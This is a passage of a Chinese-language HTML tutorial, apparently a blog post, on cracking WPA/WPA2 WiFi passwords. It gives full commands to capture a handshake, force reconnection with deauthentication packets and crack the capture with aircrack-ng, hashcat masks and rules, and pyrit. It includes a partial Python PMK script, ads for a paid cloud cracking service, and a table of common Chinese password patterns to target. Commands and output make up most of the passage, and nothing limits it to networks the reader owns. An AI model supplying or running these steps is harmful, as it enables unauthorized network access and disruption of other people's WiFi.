&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>记住目标 WiFi 的 &lt;strong>BSSID&lt;/strong>（MAC 地址）和 &lt;strong>CH&lt;/strong>（信道）。&lt;/p>
&lt;h4 id="3-锁定目标网络并抓取握手包">3. 锁定目标网络并抓取握手包&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -w 指定保存文件名前缀&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># --bssid 指定目标 BSSID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -c 指定信道&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo airodump-ng -w capture --bssid AA:BB:CC:DD:EE:FF -c &lt;span class="m">6&lt;/span> wlan0mon
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="4-触发设备重新握手">4. 触发设备重新握手&lt;/h4>
&lt;p>等待自然握手可能很慢，可以主动发送解除认证包（Deauth）来强制设备重新连接：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 在另一个终端执行&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -0 5 表示发送 5 个 deauth 包&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -a 是路由器的 BSSID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo aireplay-ng -0 &lt;span class="m">5&lt;/span> -a AA:BB:CC:DD:EE:FF wlan0mon
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>当 airodump-ng 右上角显示 &lt;strong>&amp;ldquo;WPA handshake: AA:BB:CC:DD:EE:FF&amp;rdquo;&lt;/strong> 时，说明握手包已成功抓取。&lt;/p>
&lt;h4 id="5-退出监听模式">5. 退出监听模式&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo airmon-ng stop wlan0mon
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 恢复网络服务&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl restart NetworkManager
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>此时你会得到一个 &lt;code>capture-01.cap&lt;/code> 文件，这就是包含 WPA2 握手信息的数据包。&lt;/p>
&lt;h2 id="第二步验证握手包是否完整">第二步：验证握手包是否完整&lt;/h2>
&lt;p>在开始破解前，确认 cap 文件包含完整的握手信息：&lt;/p>
&lt;h3 id="使用-aircrack-ng-验证">使用 aircrack-ng 验证&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">aircrack-ng capture-01.cap
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>如果输出中包含 &amp;ldquo;1 handshake&amp;rdquo;，说明握手包有效。&lt;/p>
&lt;h3 id="使用-tshark-详细查看">使用 tshark 详细查看&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 安装 Wireshark 命令行工具&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install tshark
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 查看握手包详情&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tshark -r capture-01.cap -Y &lt;span class="s2">&amp;#34;eapol&amp;#34;&lt;/span> -V
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="使用在线工具验证">使用在线工具验证&lt;/h3>
&lt;p>你也可以将 cap 文件上传到 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>catpasswd.com&lt;/a> 直接进行密码恢复，无需手动验证——系统会自动检测握手包的有效性。&lt;/p>
&lt;h2 id="第三步破解-wifi-密码">第三步：破解 WiFi 密码&lt;/h2>
&lt;h3 id="方法-1aircrack-ng-字典攻击">方法 1：aircrack-ng 字典攻击&lt;/h3>
&lt;p>最简单直接的方式：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -w 指定字典文件&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -b 指定目标 BSSID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>如果密码在字典中，输出类似：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl"> Aircrack-ng 1.7
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> [00:02:35] 2847536/9822786 keys tested (19050.27 k/s)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Time left: 6 minutes, 7 seconds 28.98%
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> KEY FOUND! [ mypassword123 ]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Master Key : 4A 2B 3C 1D 5E 6F 7A 8B 9C 0D 1E 2F 3A 4B 5C 6D
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 7E 8F 9A 0B 1C 2D 3E 4F 5A 6B 7C 8D 9E 0F 1A 2B
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Transient Key : ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> EAPOL HMAC : ...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-2hashcat-gpu-加速推荐最快">方法 2：Hashcat GPU 加速（推荐，最快）&lt;/h3>
&lt;h4 id="转换-cap-文件为-hashcat-格式">转换 cap 文件为 Hashcat 格式&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用 hcxtools 转换&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 安装&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install hcxtools
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 转换为 .hc22000 格式&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hcxpcapngtool -o wifi_hash.hc22000 capture-01.cap
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="使用-hashcat-破解">使用 Hashcat 破解&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># WPA/WPA2 在 Hashcat 中的模式是 22000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> wifi_hash.hc22000 wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用 GPU 加速，速度通常在 100K-500K/s（取决于显卡）&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="常用攻击策略">常用攻击策略&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 字典攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> wifi_hash.hc22000 rockyou.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 规则攻击（对字典中的密码做变形：加数字、改大小写等）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> wifi_hash.hc22000 rockyou.txt -r rules/best64.rule
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 掩码攻击（假设记得密码是 8 位小写字母+数字）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">3&lt;/span> wifi_hash.hc22000 &lt;span class="s2">&amp;#34;?l?l?l?l?l?l?d?d&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 组合攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">1&lt;/span> wifi_hash.hc22000 wordlist1.txt wordlist2.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-3pyrit专为-wpa-优化的工具">方法 3：Pyrit（专为 WPA 优化的工具）&lt;/h3>
&lt;p>&lt;a class="link" href="https://github.com/JPaulMora/Pyrit" target="_blank" rel="noopener"
>Pyrit&lt;/a> 可以预计算 WPA 的 PMK（Pairwise Master Key），加速破解：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 安装&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pip install pyrit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 导入字典&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit -r rockyou.txt import_passwords
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 导入 cap 文件&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit -r capture-01.cap import_capture
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 设置 ESSID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit -e &lt;span class="s2">&amp;#34;MyHomeWiFi&amp;#34;&lt;/span> create_essid
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 预计算 PMK（利用 GPU/CPU 加速）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit batch
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit attack_db
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-4python-脚本自己写">方法 4：Python 脚本自己写&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">scapy.all&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pbkdf2_hmac&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">hmac&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">struct&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">verify_wpa_password&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cap_file&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ssid&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;验证一个密码是否是正确的 WPA2 密码&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 从 cap 文件读取握手包&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">packets&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">rdpcap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cap_file&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 计算 PMK (Pairwise Master Key)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pmk&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pbkdf2_hmac&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;sha1&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">ssid&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="mi">4096&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;测试密码: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;PMK: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">pmk&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 实际验证需要完整的握手数据和 PTK 推导&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 这里简化展示，完整实现较复杂&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">pmk&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># WiFi 密码通常是 8-63 位的 ASCII 字符&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ssid&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;MyHomeWiFi&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">test_passwords&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;password123&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;wifi1234&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;home2024&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">pwd&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">test_passwords&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">verify_wpa_password&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;capture-01.cap&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pwd&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ssid&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-5云端在线恢复服务">方法 5：云端在线恢复服务&lt;/h3>
&lt;p>如果不想自己配置环境或本地算力不足，可以把 cap 文件交给云端服务处理：&lt;/p>
&lt;p>&lt;strong>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网 (Catpasswd)&lt;/a>&lt;/strong> 支持 WPA/WPA2 握手包（.cap 文件）的密码恢复。&lt;/p>
&lt;h4 id="优势">优势&lt;/h4>
&lt;ul>
&lt;li>&lt;strong>无需安装 aircrack-ng 等工具&lt;/strong>：直接上传 cap 文件即可&lt;/li>
&lt;li>&lt;strong>云端千万级字典&lt;/strong>：覆盖了大量常见 WiFi 密码组合，包括：
&lt;ul>
&lt;li>常见 WiFi 密码（如 12345678、88888888）&lt;/li>
&lt;li>手机号组合&lt;/li>
&lt;li>拼音 + 数字组合&lt;/li>
&lt;li>各地区的常见密码模式&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>分布式算力&lt;/strong>：比单台电脑快数十倍&lt;/li>
&lt;li>&lt;strong>文件小&lt;/strong>：cap 文件通常只有几 KB 到几 MB，上传很快&lt;/li>
&lt;/ul>
&lt;h4 id="使用流程">使用流程&lt;/h4>
&lt;ol>
&lt;li>按上面的步骤抓取握手包得到 .cap 文件&lt;/li>
&lt;li>访问 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> → &lt;a class="link" href="https://www.catpasswd.com/recovery" target="_blank" rel="noopener"
>上传文件&lt;/a>&lt;/li>
&lt;li>上传 .cap 文件，填写邮箱&lt;/li>
&lt;li>系统自动分析握手包有效性并开始密码恢复&lt;/li>
&lt;li>成功后邮件通知&lt;/li>
&lt;/ol>
&lt;blockquote>
&lt;p>💡 &lt;strong>小技巧&lt;/strong>：如果你不确定抓到的 cap 文件是否包含有效的握手数据，可以直接上传到猫密网，系统会自动检测。如果握手包无效，不会开始恢复也不会收费。&lt;/p>
&lt;/blockquote>
&lt;h2 id="提高-wifi-密码恢复成功率的技巧">提高 WiFi 密码恢复成功率的技巧&lt;/h2>
&lt;h3 id="1-使用高质量-wifi-专用字典">1. 使用高质量 WiFi 专用字典&lt;/h3>
&lt;p>通用字典（如 rockyou.txt）的 WiFi 密码覆盖率不高。推荐使用专门的 WiFi 密码字典：&lt;/p>
&lt;ul>
&lt;li>&lt;strong>WiFi-Password-List&lt;/strong>：GitHub 上有专门的 WiFi 常见密码合集&lt;/li>
&lt;li>&lt;strong>国内常见 WiFi 密码&lt;/strong>：88888888、12345678、手机号后8位等&lt;/li>
&lt;li>&lt;strong>自定义字典&lt;/strong>：根据你对设置者的了解生成可能的密码&lt;/li>
&lt;/ul>
&lt;h3 id="2-常见-wifi-密码模式">2. 常见 WiFi 密码模式&lt;/h3>
&lt;p>中国人设置 WiFi 密码最常见的模式：&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>模式&lt;/th>
&lt;th>示例&lt;/th>
&lt;th>频率&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>8位纯数字&lt;/td>
&lt;td>12345678、88888888&lt;/td>
&lt;td>⭐⭐⭐⭐⭐&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>手机号&lt;/td>
&lt;td>13812345678&lt;/td>
&lt;td>⭐⭐⭐⭐&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>拼音+数字&lt;/td>
&lt;td>woaini520、zhangwei123&lt;/td>
&lt;td>⭐⭐⭐&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>门牌号+楼号&lt;/td>
&lt;td>1602dong、501hao&lt;/td>
